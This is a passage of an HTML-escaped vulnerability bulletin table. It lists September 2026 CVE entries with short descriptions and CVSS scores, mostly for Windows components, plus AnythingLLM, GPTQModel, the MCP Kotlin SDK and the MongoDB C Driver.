&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77491&quot; target=&quot;_blank&quot;&gt;CVE-2026-77491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Storage Port Driver allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77492&quot; target=&quot;_blank&quot;&gt;CVE-2026-77492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Distributed File System (DFS) allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78446&quot; target=&quot;_blank&quot;&gt;CVE-2026-78446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows CD-ROM Driver allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78454&quot; target=&quot;_blank&quot;&gt;CVE-2026-78454&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows DNS allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78523&quot; target=&quot;_blank&quot;&gt;CVE-2026-78523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Standard XPS allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68891&quot; target=&quot;_blank&quot;&gt;CVE-2026-68891&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Buffer over-read in Windows Overlay Filter allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69316&quot; target=&quot;_blank&quot;&gt;CVE-2026-69316&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Storage Port Driver allows an unauthorized attacker to disclose information with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69381&quot; target=&quot;_blank&quot;&gt;CVE-2026-69381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Overlay Filter allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69474&quot; target=&quot;_blank&quot;&gt;CVE-2026-69474&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Image Acquisition allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69483&quot; target=&quot;_blank&quot;&gt;CVE-2026-69483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows RNDIS allows an unauthorized attacker to disclose information with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69548&quot; target=&quot;_blank&quot;&gt;CVE-2026-69548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Dependency on vulnerable third-party component in Windows Secure Boot allows an authorized attacker to bypass a security feature locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69713&quot; target=&quot;_blank&quot;&gt;CVE-2026-69713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows Win32K allows an authorized attacker to bypass a security feature locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69792&quot; target=&quot;_blank&quot;&gt;CVE-2026-69792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Windows Win32K allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69853&quot; target=&quot;_blank&quot;&gt;CVE-2026-69853&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69895&quot; target=&quot;_blank&quot;&gt;CVE-2026-69895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing release of resource after effective lifetime in Windows Secure Socket Tunneling Protocol (SSTP) allows an authorized attacker to deny service locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72931&quot; target=&quot;_blank&quot;&gt;CVE-2026-72931&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Uncontrolled search path element in Windows Hello allows an authorized attacker to bypass a security feature locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72980&quot; target=&quot;_blank&quot;&gt;CVE-2026-72980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper resolution of path equivalence in Windows URL Moniker allows an unauthorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73019&quot; target=&quot;_blank&quot;&gt;CVE-2026-73019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Xbox allows an unauthorized attacker to disclose information with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78455&quot; target=&quot;_blank&quot;&gt;CVE-2026-78455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows CD-ROM Driver allows an unauthorized attacker to disclose information with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78508&quot; target=&quot;_blank&quot;&gt;CVE-2026-78508&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Buffer over-read in Windows Storage allows an unauthorized attacker to disclose information with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78516&quot; target=&quot;_blank&quot;&gt;CVE-2026-78516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Insufficient granularity of access control in Windows Connected User Experiences and Telemetry allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69267&quot; target=&quot;_blank&quot;&gt;CVE-2026-69267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows USB Audio Class driver (usbaudio.sys) allows an unauthorized attacker to elevate privileges with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69469&quot; target=&quot;_blank&quot;&gt;CVE-2026-69469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Microsoft Windows SCSI Class System File allows an unauthorized attacker to elevate privileges with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78451&quot; target=&quot;_blank&quot;&gt;CVE-2026-78451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Generation of error message containing sensitive information in Microsoft COM for Windows allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69294&quot; target=&quot;_blank&quot;&gt;CVE-2026-69294&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Exposure of sensitive system information to an unauthorized control sphere in Windows License Manager allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69315&quot; target=&quot;_blank&quot;&gt;CVE-2026-69315&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows NTFS allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69591&quot; target=&quot;_blank&quot;&gt;CVE-2026-69591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function in Windows Modern Device Management (MDM) allows an authorized attacker to bypass a security feature locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69674&quot; target=&quot;_blank&quot;&gt;CVE-2026-69674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function in Windows Cloud Files Mini Filter Driver allows an authorized attacker to perform tampering locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83991&quot; target=&quot;_blank&quot;&gt;CVE-2026-83991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Windows SCSI Class System File allows an unauthorized attacker to disclose information with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78452&quot; target=&quot;_blank&quot;&gt;CVE-2026-78452&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Allocation of resources without limits or throttling in Windows SMB Server allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69374&quot; target=&quot;_blank&quot;&gt;CVE-2026-69374&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Print Spooler Components allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69344&quot; target=&quot;_blank&quot;&gt;CVE-2026-69344&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69741&quot; target=&quot;_blank&quot;&gt;CVE-2026-69741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function in Windows Autopilot allows an authorized attacker to perform tampering locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73004&quot; target=&quot;_blank&quot;&gt;CVE-2026-73004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Bluetooth Port Driver allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68849&quot; target=&quot;_blank&quot;&gt;CVE-2026-68849&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Windows hard link in Windows Compressed Folder allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70019&quot; target=&quot;_blank&quot;&gt;CVE-2026-70019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Insertion of sensitive information into log file in Windows Program Compatibility Assistant Service allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68873&quot; target=&quot;_blank&quot;&gt;CVE-2026-68873&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Insertion of sensitive information into externally-accessible file or directory in Microsoft Windows Search Component allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69507&quot; target=&quot;_blank&quot;&gt;CVE-2026-69507&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Null pointer dereference in Windows Schannel allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70575&quot; target=&quot;_blank&quot;&gt;CVE-2026-70575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83501&quot; target=&quot;_blank&quot;&gt;CVE-2026-83501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Improper link resolution before file access (&#039;link following&#039;) in Windows NTFS allows an authorized attacker to perform tampering locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69425&quot; target=&quot;_blank&quot;&gt;CVE-2026-69425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Improper link resolution before file access (&#039;link following&#039;) in Windows Container Manager Service allows an authorized attacker to bypass a security feature locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69771&quot; target=&quot;_blank&quot;&gt;CVE-2026-69771&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Missing release of memory after effective lifetime in Windows DHCP Client allows an unauthorized attacker to deny service over an adjacent network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69781&quot; target=&quot;_blank&quot;&gt;CVE-2026-69781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Exposure of sensitive system information to an unauthorized control sphere in Windows MIDI Service Module allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68842&quot; target=&quot;_blank&quot;&gt;CVE-2026-68842&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Exposure of sensitive system information to an unauthorized control sphere in Windows MIDI Service Module allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69339&quot; target=&quot;_blank&quot;&gt;CVE-2026-69339&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mintplex-Labs--anything-llm&lt;/td&gt;
&lt;td&gt;AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. In 1.16.1 and earlier, the manager role can store meta_page_title or meta_page_favicon through /api/admin/system-preferences, and MetaGenerator inserts those values into production homepage HTML without escaping attribute values or text content. The values pass unchanged through server/models/systemSettings.js and reach MetaGenerator.generate() in server/index.js. #assembleMeta() in server/utils/boot/MetaGenerator.js concatenates the stored values into HTML. When an administrator visits the homepage /, injected JavaScript can read the administrator JWT and use it to create API keys, access or modify workspace and chat data, delete users, and perform other administrator actions. server/endpoints/admin.js accepts the manager-controlled settings before server/models/systemSettings.js returns them unchanged. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88055&quot; target=&quot;_blank&quot;&gt;CVE-2026-88055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ModelCloud--GPTQModel&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in ModelCloud GPTQModel up to 7.2.0. This vulnerability affects unknown code of the file gptqmodel/nn_modules/qlinear/tritonv2.py of the component Triton dequantization kernel. Such manipulation of the argument g_idx leads to out-of-bounds read. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 7.3.0 is able to resolve this issue. The name of the patch is 877c732f7d7dccd56a729844c6a5bd20f3aa8bb1. Upgrading the affected component is recommended.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86288&quot; target=&quot;_blank&quot;&gt;CVE-2026-86288&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;modelcontextprotocol--io.modelcontextprotocol:kotlin-sdk&lt;/td&gt;
&lt;td&gt;MCP Kotlin SDK is the Kotlin Multiplatform software development kit for the Model Context Protocol. In versions 0.7.0 through 0.12.0, `ReadBuffer.append` in `kotlin-sdk-core/src/commonMain/kotlin/io/modelcontextprotocol/kotlin/sdk/shared/ReadBuffer.kt` writes every chunk of bytes received from the stdio transport into a `kotlinx.io.Buffer` with no size cap. Frames are extracted from that buffer only when a `\n` (0x0a) byte is observed. A peer that streams bytes without ever sending a newline causes the internal buffer to grow indefinitely until the JVM (or the surrounding host process) is OOM-killed. The leak is amplified by `StdioServerTransport` and `StdioClientTransport`, which both queue raw chunks through a `kotlinx.coroutines.channels.Channel&amp;lt;ByteArray&amp;gt;(Channel.UNLIMITED)` and then call `readBuffer.append(chunk)` without backpressure or size guard. This is a remote-pre-auth denial of service whenever an SDK stdio server&#039;s stdin is fed by an untrusted or attacker-controlled producer (for example: a host program that exec&#039;s the MCP server as a subprocess and pipes through bytes received from a network peer, or a sidecar wrapper that proxies bytes from an HTTP endpoint to the stdio transport). Version 0.13.0 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53937&quot; target=&quot;_blank&quot;&gt;CVE-2026-53937&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--C Driver&lt;/td&gt;
&lt;td&gt;A size check in the client-side authentication path of the MongoDB C Driver can wrap around, so an unusually large user-name value is accepted and copied past the end of a small buffer. A party able to set the driver&#039;s connection settings may cause the application that embeds the driver to terminate unexpectedly. Reaching this code requires a build in which the optional external SASL authentication backend is present and a connection configured to use it.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88035&quot; target=&quot;_blank&quot;&gt;CVE-2026-88035&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--C# Driver&lt;/td&gt;
